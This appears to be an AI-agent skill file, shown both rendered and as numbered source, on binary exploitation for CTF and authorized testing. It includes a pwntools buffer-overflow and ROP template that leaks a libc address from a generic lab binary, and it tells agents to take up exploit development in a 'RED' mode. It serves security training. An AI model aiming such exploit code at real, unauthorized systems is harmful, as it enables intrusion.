name: binary-exploitation
description: >-
Binary exploitation covering ROP chain construction, buffer overflow attacks,
format string vulnerabilities, heap exploitation, ASLR and stack canary bypasses,
custom shellcode generation, return-to-libc attacks, use-after-free exploitation,
binary protection analysis, integer overflow vulnerabilities, and kernel exploitation.
Enables offensive security research and CTF preparation with pwntools, GEF, checksec,
and ROPgadget tooling.
domain: cybersecurity
subdomain: binary-exploitation
tags:
- binary-exploitation
- rop-chains
- buffer-overflow
- format-string
- heap-exploitation
- aslr-bypass
- stack-canary
- shellcode
- return-to-libc
- use-after-free
- integer-overflow
- kernel-exploitation
- pwntools
- gef
- checksec
- ropgadget
version: "1.0"
author: defconxt
license: AGPL-3.0
compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
metadata:
mitre-attack: ["T1203", "T1068", "T1190", "T1211", "T1210"]
cwe: ["CWE-120", "CWE-122", "CWE-134", "CWE-190", "CWE-416", "CWE-787"]
frameworks: ["MITRE ATT&CK", "CWE", "OWASP", "PTES"]
Binary Exploitation
When to Use
Activate when the operator asks about exploit development, ROP chain construction,
buffer overflow attacks, format string bugs, heap exploitation, ASLR or canary
bypasses, shellcode generation, return-to-libc, use-after-free vulnerabilities,
integer overflows, kernel exploitation, or binary protection analysis.
Mode: [MODE: RED] for exploit development and attack research; [MODE: PURPLE] for detection validation; [MODE: BLUE] for hardening recommendations.
Prerequisites
- Tools:
python3, pwntools, gdb with GEF/pwndbg, checksec, ROPgadget, one_gadget
- Target binary with known vulnerability class
- Authorization and signed Rules of Engagement (RoE)
- Isolated lab environment for exploit testing
Quick Reference
| Technique |
Primary Tools |
CWE |
| ROP chains |
ROPgadget, pwntools ROP |
CWE-120 |
| Buffer overflow |
pwntools, GEF, pattern_create |
CWE-120 |
| Format string |
pwntools fmtstr, %n writes |
CWE-134 |
| Heap exploitation |
pwntools, GEF heap commands |
CWE-122 |
| ASLR bypass |
pwntools, info leaks, ret2plt |
CWE-330 |
| Stack canary bypass |
info leaks, brute force, fork |
CWE-693 |
| Shellcode |
pwntools shellcraft, msfvenom |
CWE-94 |
| Return-to-libc |
pwntools, libc-database |
CWE-120 |
| Use-after-free |
GEF, heap analysis, tcache |
CWE-416 |
| Binary protection analysis |
checksec, readelf, LIEF |
— |
| Integer overflow |
source audit, fuzzing |
CWE-190 |
| Kernel exploitation |
kernel modules, QEMU, kASLR |
CWE-787 |
Workflow
Step 1: Binary Reconnaissance
# Analyze binary protections
checksec --file=./vuln_binary
# Enumerate ROP gadgets
ROPgadget --binary ./vuln_binary --ropchain
# Find one_gadget offsets in libc
one_gadget /lib/x86_64-linux-gnu/libc.so.6
Step 2: Vulnerability Identification
from pwn import *
# Load binary and inspect symbols
elf = ELF("./vuln_binary")
print(f"Entry: {hex(elf.entry)}")
print(f"GOT: {elf.got}")
print(f"PLT: {elf.plt}")
# Check security properties
print(f"NX: {elf.nx}")
print(f"PIE: {elf.pie}")
print(f"Canary: {elf.canary}")
print(f"RELRO: {elf.relro}")
Step 3: Exploit Development
from pwn import *
context.binary = elf = ELF("./vuln_binary")
context.log_level = "debug"
# Establish connection
p = process(elf.path)
# p = remote("target.ctf", 1337)
# Build ROP chain
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call(elf.entry)
# Construct payload
offset = 72 # determined via cyclic pattern
payload = flat(
b"A" * offset,
rop.chain(),
)
p.sendline(payload)
leaked = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts: {hex(leaked)}")
Step 4: Post-Exploitation Verification
# Verify exploit reliability
for i in $(seq 1 10); do
python3 exploit.py && echo "Run $i: SUCCESS" || echo "Run $i: FAIL"
done
Verification
References
1---2name: binary-exploitation3description: <!-- Copyright (c) 2026 defconxt. All rights reserved. -->4---5
6<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
7<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
8<!-- CIPHER is a trademark of defconxt. -->
9---
10name: binary-exploitation
11description: >-
12 Binary exploitation covering ROP chain construction, buffer overflow attacks,
13 format string vulnerabilities, heap exploitation, ASLR and stack canary bypasses,
14 custom shellcode generation, return-to-libc attacks, use-after-free exploitation,
15 binary protection analysis, integer overflow vulnerabilities, and kernel exploitation.
16 Enables offensive security research and CTF preparation with pwntools, GEF, checksec,
17 and ROPgadget tooling.
18domain: cybersecurity
19subdomain: binary-exploitation
20tags:
21 - binary-exploitation
22 - rop-chains
23 - buffer-overflow
24 - format-string
25 - heap-exploitation
26 - aslr-bypass
27 - stack-canary
28 - shellcode
29 - return-to-libc
30 - use-after-free
31 - integer-overflow
32 - kernel-exploitation
33 - pwntools
34 - gef
35 - checksec
36 - ropgadget
37version: "1.0"
38author: defconxt
39license: AGPL-3.0
40compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
41metadata:
42 mitre-attack: ["T1203", "T1068", "T1190", "T1211", "T1210"]
43 cwe: ["CWE-120", "CWE-122", "CWE-134", "CWE-190", "CWE-416", "CWE-787"]
44 frameworks: ["MITRE ATT&CK", "CWE", "OWASP", "PTES"]
45---
46
47# Binary Exploitation
48
49## When to Use
50
51Activate when the operator asks about exploit development, ROP chain construction,
52buffer overflow attacks, format string bugs, heap exploitation, ASLR or canary
53bypasses, shellcode generation, return-to-libc, use-after-free vulnerabilities,
54integer overflows, kernel exploitation, or binary protection analysis.
55
56Mode: `[MODE: RED]` for exploit development and attack research; `[MODE: PURPLE]` for detection validation; `[MODE: BLUE]` for hardening recommendations.
57
58## Prerequisites
59
60- Tools: `python3`, `pwntools`, `gdb` with GEF/pwndbg, `checksec`, `ROPgadget`, `one_gadget`
61- Target binary with known vulnerability class
62- Authorization and signed Rules of Engagement (RoE)
63- Isolated lab environment for exploit testing
64
65## Quick Reference
66
67| Technique | Primary Tools | CWE |
68|-----------|--------------|-----|
69| ROP chains | ROPgadget, pwntools ROP | CWE-120 |
70| Buffer overflow | pwntools, GEF, pattern_create | CWE-120 |
71| Format string | pwntools fmtstr, %n writes | CWE-134 |
72| Heap exploitation | pwntools, GEF heap commands | CWE-122 |
73| ASLR bypass | pwntools, info leaks, ret2plt | CWE-330 |
74| Stack canary bypass | info leaks, brute force, fork | CWE-693 |
75| Shellcode | pwntools shellcraft, msfvenom | CWE-94 |
76| Return-to-libc | pwntools, libc-database | CWE-120 |
77| Use-after-free | GEF, heap analysis, tcache | CWE-416 |
78| Binary protection analysis | checksec, readelf, LIEF | — |
79| Integer overflow | source audit, fuzzing | CWE-190 |
80| Kernel exploitation | kernel modules, QEMU, kASLR | CWE-787 |
81
82## Workflow
83
84### Step 1: Binary Reconnaissance
85
86```bash
87# Analyze binary protections
88checksec --file=./vuln_binary
89
90# Enumerate ROP gadgets
91ROPgadget --binary ./vuln_binary --ropchain
92
93# Find one_gadget offsets in libc
94one_gadget /lib/x86_64-linux-gnu/libc.so.6
95```
96
97### Step 2: Vulnerability Identification
98
99```python
100from pwn import *
101
102# Load binary and inspect symbols
103elf = ELF("./vuln_binary")
104print(f"Entry: {hex(elf.entry)}")
105print(f"GOT: {elf.got}")
106print(f"PLT: {elf.plt}")
107
108# Check security properties
109print(f"NX: {elf.nx}")
110print(f"PIE: {elf.pie}")
111print(f"Canary: {elf.canary}")
112print(f"RELRO: {elf.relro}")
113```
114
115### Step 3: Exploit Development
116
117```python
118from pwn import *
119
120context.binary = elf = ELF("./vuln_binary")
121context.log_level = "debug"
122
123# Establish connection
124p = process(elf.path)
125# p = remote("target.ctf", 1337)
126
127# Build ROP chain
128rop = ROP(elf)
129rop.call("puts", [elf.got["puts"]])
130rop.call(elf.entry)
131
132# Construct payload
133offset = 72 # determined via cyclic pattern
134payload = flat(
135 b"A" * offset,
136 rop.chain(),
137)
138
139p.sendline(payload)
140leaked = u64(p.recvline().strip().ljust(8, b"\x00"))
141log.success(f"Leaked puts: {hex(leaked)}")
142```
143
144### Step 4: Post-Exploitation Verification
145
146```bash
147# Verify exploit reliability
148for i in $(seq 1 10); do
149 python3 exploit.py && echo "Run $i: SUCCESS" || echo "Run $i: FAIL"
150done
151```
152
153## Verification
154
155- [ ] Binary protections enumerated with checksec
156- [ ] Vulnerability class identified and confirmed
157- [ ] Exploit achieves code execution reliably
158- [ ] Payload accounts for target protections (NX, ASLR, canary, PIE)
159- [ ] Detection opportunities documented for blue team
160
161## References
162
163- [pwntools Documentation](https://docs.pwntools.com/) — Python exploitation framework
164- [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) — ROP gadget finder
165- [GEF](https://hugsy.github.io/gef/) — GDB Enhanced Features for exploit development
166- [checksec](https://github.com/slimm609/checksec.sh) — Binary protection analysis
167- [one_gadget](https://github.com/david942j/one_gadget) — One-shot RCE gadget finder
168- [MITRE ATT&CK T1203](https://attack.mitre.org/techniques/T1203/) — Exploitation for Client Execution